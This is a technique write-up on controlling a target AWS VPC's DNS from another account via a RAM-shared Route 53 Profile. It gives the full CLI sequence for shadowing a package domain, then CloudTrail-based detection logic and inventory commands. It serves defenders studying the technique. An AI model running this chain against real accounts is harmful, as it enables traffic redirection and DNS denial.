Control a VPC's DNS from another AWS account

A VPC can use DNS state owned in another AWS account. Once a shared Route 53 Profile is associated with the VPC, its private hosted zones and other DNS resources participate in resolution. The source account continues to control those resources and can change answers without another target-account mutation.

The validated route uses AWS RAM to share a source-owned Profile, then AssociateProfile in the target account to attach it to a VPC. The outcome is DNS shadowing or denial inside that VPC, subject to Route 53 resolution precedence and application-layer trust.

One target-side association can make externally controlled DNS answers effective across the VPC.

Technique

The attacker establishes a cross-account control relationship rather than copying DNS records into the target. The target account attaches a shared configuration object. The source account remains the authority for resources inside that object, so later source-side changes affect target workloads.

flowchart LR
    S([Source account])
    D[Externally controlled DNS state]
    P[Shared configuration]
    V[Target VPC]
    W[Workload DNS behavior]
    S --> D
    D --> P
    P -->|target association| V
    V --> W
    S -. later answer changes .-> D
    class S principal
    class D,P,V,W awsResource

Required properties

1. The source account controls DNS resources and a shareable configuration object.
2. The target account receives the cross-account share.
3. A target principal can associate the configuration with a VPC.
4. The associated configuration influences the VPC resolver.
5. The source owner retains authority to change the attached DNS state.

Implementations

How the implementation works

flowchart TB
    S([Source-account principal])
    H[Attacker-owned private hosted zone]
    P[Route 53 Profile]
    R[AWS RAM resource share]
    T([Target-account principal])
    V[Target VPC]
    Q[Workload DNS query]
    A[Shadowed answer or NXDOMAIN]
    S -->|CreateHostedZone + ChangeResourceRecordSets| H
    S -->|CreateProfile| P
    H -->|AssociateResourceToProfile| P
    P -->|CreateResourceShare| R
    R -->|shared Profile| T
    T -->|AssociateProfile| V
    Q -->|AmazonProvidedDNS| V
    V -->|Profile private hosted zone| A
    class S,T principal
    class H,P,R,V awsResource

A private hosted zone associated through a Profile participates in Route 53 Resolver evaluation for each associated VPC. The public namespace is unchanged. Workloads using the VPC resolver see the private answer while resolvers outside those VPCs continue to see public DNS.

Resolution priority

Route 53 applies the most specific matching domain. A Profile zone for packages.corp.example therefore takes priority over a directly associated zone for corp.example. When the Profile and a directly associated VPC resource use the same domain, the direct VPC configuration takes priority. A Resolver forwarding rule also takes priority over a private hosted zone when both match the same domain.^[1][2]

The last behavior also provides a denial primitive. An otherwise empty private zone can suppress public answers for its namespace because Route 53 does not forward a failed private-zone lookup to public DNS.^[2:1]

DNS redirection alone does not defeat TLS, mutual TLS, certificate pinning, or application-layer authentication. Its interception value depends on the client protocol and trust model. It can still redirect plaintext protocols, redirect clients that trust a certificate available to the attacker, alter endpoints whose trust depends on DNS, or deny resolution outright.

Execution requirements

The source-account principal needs control of the DNS resources and the Profile share. The relevant permissions are:

• route53:CreateHostedZone, route53:ChangeResourceRecordSets, and ec2:DescribeVpcs for the private hosted zone.
• route53profiles:CreateProfile and route53profiles:AssociateResourceToProfile for the Profile.
• ram:CreateResourceShare plus the RAM association actions used by the chosen sharing workflow.
• route53profiles:GetProfilePolicy and route53profiles:PutProfilePolicy, which Route 53 requires when sharing a Profile through AWS RAM.^[3][4]

The target-account principal needs route53profiles:AssociateProfile for the target VPC. For a share from outside an AWS Organization, a target principal must also accept the AWS RAM invitation with ram:AcceptResourceShareInvitation. When organization sharing is enabled and the Profile is shared within that organization, AWS RAM grants access automatically and no invitation acceptance is required.^[4:1][5]

The Profile and target VPC must be in the same Region. A VPC can have only one Profile, while one Profile can be associated with up to 1,000 VPCs by default. Private hosted zone resolution also requires both enableDnsSupport and enableDnsHostnames on the VPC.^[6][7][2:2]

Execution

The source account first creates a private hosted zone. Route 53 requires an initial VPC association at zone creation, so this example uses a source-account VPC in us-east-1:^[8]

aws route53 create-hosted-zone \
  --name packages.corp.example \
  --caller-reference profile-graft-20260901T120000Z \
  --vpc VPCRegion=us-east-1,VPCId=vpc-0a111111111111111

Assume the returned hosted zone ID is Z0123456789EXAMPLE. Add the answer that target workloads should receive:

aws route53 change-resource-record-sets \
  --hosted-zone-id Z0123456789EXAMPLE \
  --change-batch '{
    "Changes": [{
      "Action": "UPSERT",
      "ResourceRecordSet": {
        "Name": "packages.corp.example",
        "Type": "A",
        "TTL": 60,
        "ResourceRecords": [{"Value": "198.51.100.40"}]
      }
    }]
  }'

Create a Profile in the Region of the target VPC:

aws route53profiles create-profile \
  --name shared-network-baseline \
  --region us-east-1

Assume the response returns Profile ID rp-0abc123def456example. Associate the private hosted zone with it. Route 53 hosted zone ARNs omit both Region and account ID:^[9]

aws route53profiles associate-resource-to-profile \
  --name corp-package-resolution \
  --profile-id rp-0abc123def456example \
  --resource-arn arn:aws:route53:::hostedzone/Z0123456789EXAMPLE \
  --region us-east-1

Share the Profile from source account 111122223333 to target account 444455556666:

aws ram create-resource-share \
  --name shared-network-baseline \
  --resource-arns arn:aws:route53profiles:us-east-1:111122223333:profile/rp-0abc123def456example \
  --principals 444455556666 \
  --region us-east-1

When permission-arns is omitted, AWS RAM attaches the default permission for the resource type. For Route 53 Profiles, AWSRAMPermissionRoute53ProfileAllowAssociation gives the consumer read access to Profile resources and permits VPC association, but not modification of the Profile’s resource associations.^[10][4:2]

For a share that produces an invitation, the target principal accepts it:

aws ram accept-resource-share-invitation \
  --resource-share-invitation-arn arn:aws:ram:us-east-1:111122223333:resource-share-invitation/01234567-89ab-cdef-0123-456789abcdef \
  --region us-east-1

The target principal can then attach the shared Profile to VPC vpc-0b222222222222222:

aws route53profiles associate-profile \
  --name shared-network-baseline \
  --profile-id rp-0abc123def456example \
  --resource-id vpc-0b222222222222222 \
  --region us-east-1

AssociateProfile initially returns an association with status CREATING. Once its status becomes COMPLETE, every resource and setting in the shared Profile applies to the target VPC. In this example, queries for packages.corp.example resolve to the private A record when no higher-priority direct configuration or Resolver rule matches.^[11]

The source owner retains control of the hosted zone and its records. Later ChangeResourceRecordSets calls alter the answer presented through every VPC association without another API call in the target account.

Boundaries and failure conditions

The technique changes DNS resolution, not application trust. TLS validation, mutual TLS, certificate pinning, signed artifacts, and application authentication can prevent redirected traffic from becoming impersonation. Direct VPC associations and Resolver rules can also take precedence over Profile resources.

Disassociating the Profile from the target VPC removes the cross-account configuration. Removing the RAM share or deleting source resources also breaks the relationship. Because source-side record changes require no target mutation, monitoring only the target account cannot fully observe continued control.

Detection

The behavioral invariant is a target VPC resolving DNS configuration whose effective resources are owned and mutable in another account. Start with the target AssociateProfile relationship, resolve the Profile owner and resources, then monitor source-side changes and target Resolver query outcomes.

A focused CloudTrail record contains the fields needed to identify the graft point:

{
  "eventTime": "2026-09-01T12:12:00Z",
  "eventSource": "route53profiles.amazonaws.com",
  "eventName": "AssociateProfile",
  "awsRegion": "us-east-1",
  "recipientAccountId": "444455556666",
  "userIdentity": {
    "type": "AssumedRole",
    "arn": "arn:aws:sts::444455556666:assumed-role/NetworkAutomation/session"
  },
  "sourceIPAddress": "198.51.100.24",
  "requestParameters": {
    "name": "shared-network-baseline",
    "profileId": "rp-0abc123def456example",
    "resourceId": "vpc-0b222222222222222"
  }
}

Detection inputs

Retain eventTime, recipientAccountId, awsRegion, userIdentity.arn, sourceIPAddress, userAgent, and errorCode across each event. Route 53 Profiles and AWS RAM use the CloudTrail event sources route53profiles.amazonaws.com and ram.amazonaws.com, respectively.^[12][13]

Correlation logic

1. Select successful AssociateProfile events in each target account and Region.
2. Resolve the Profile with GetProfile. Raise confidence when OwnerId differs from recipientAccountId, ShareStatus is SHARED_WITH_ME, or the owner is outside the approved DNS account set.
3. Join explicit external shares to AcceptResourceShareInvitation using the share invitation and sender account. Do not require this event for organization shares.
4. Enumerate the Profile’s resources with ListProfileResourceAssociations. Raise severity when it contains a private hosted zone whose domain overlaps a production namespace or a public dependency used by the VPC.
5. Where source-account telemetry is available, correlate CreateProfile, AssociateResourceToProfile, and CreateResourceShare before the target AssociateProfile. Continue to monitor ChangeResourceRecordSets for the associated zone because record changes alter the target answer without another target-account event.
6. Use Resolver query logs to find a new private answer, a sudden answer-address change, or increased NXDOMAIN responses for the affected namespace.^[14]

The classic Route 53 inventory path is insufficient. AWS explicitly states that ListHostedZonesByVPC does not report hosted zone associations made through Route 53 Profiles.^[15]

Inventory each VPC through the Profiles API instead:

aws route53profiles list-profile-associations \
  --resource-id vpc-0b222222222222222 \
  --region us-east-1

aws route53profiles get-profile \
  --profile-id rp-0abc123def456example \
  --region us-east-1

aws route53profiles list-profile-resource-associations \
  --profile-id rp-0abc123def456example \
  --region us-east-1

ListProfileAssociations maps Profiles to VPCs. ListProfileResourceAssociations then exposes each private hosted zone and other DNS resource carried by a Profile.^[16][17]

Tune against approved Profile owner accounts, target VPCs, DNS automation roles, and expected namespaces. Profile names are operator-controlled labels and should not be used as the trust decision.

Hardening

Hardening must remove target association authority, unapproved cross-account sharing, source-account control of effective DNS state, or the application’s reliance on unauthenticated DNS answers.

References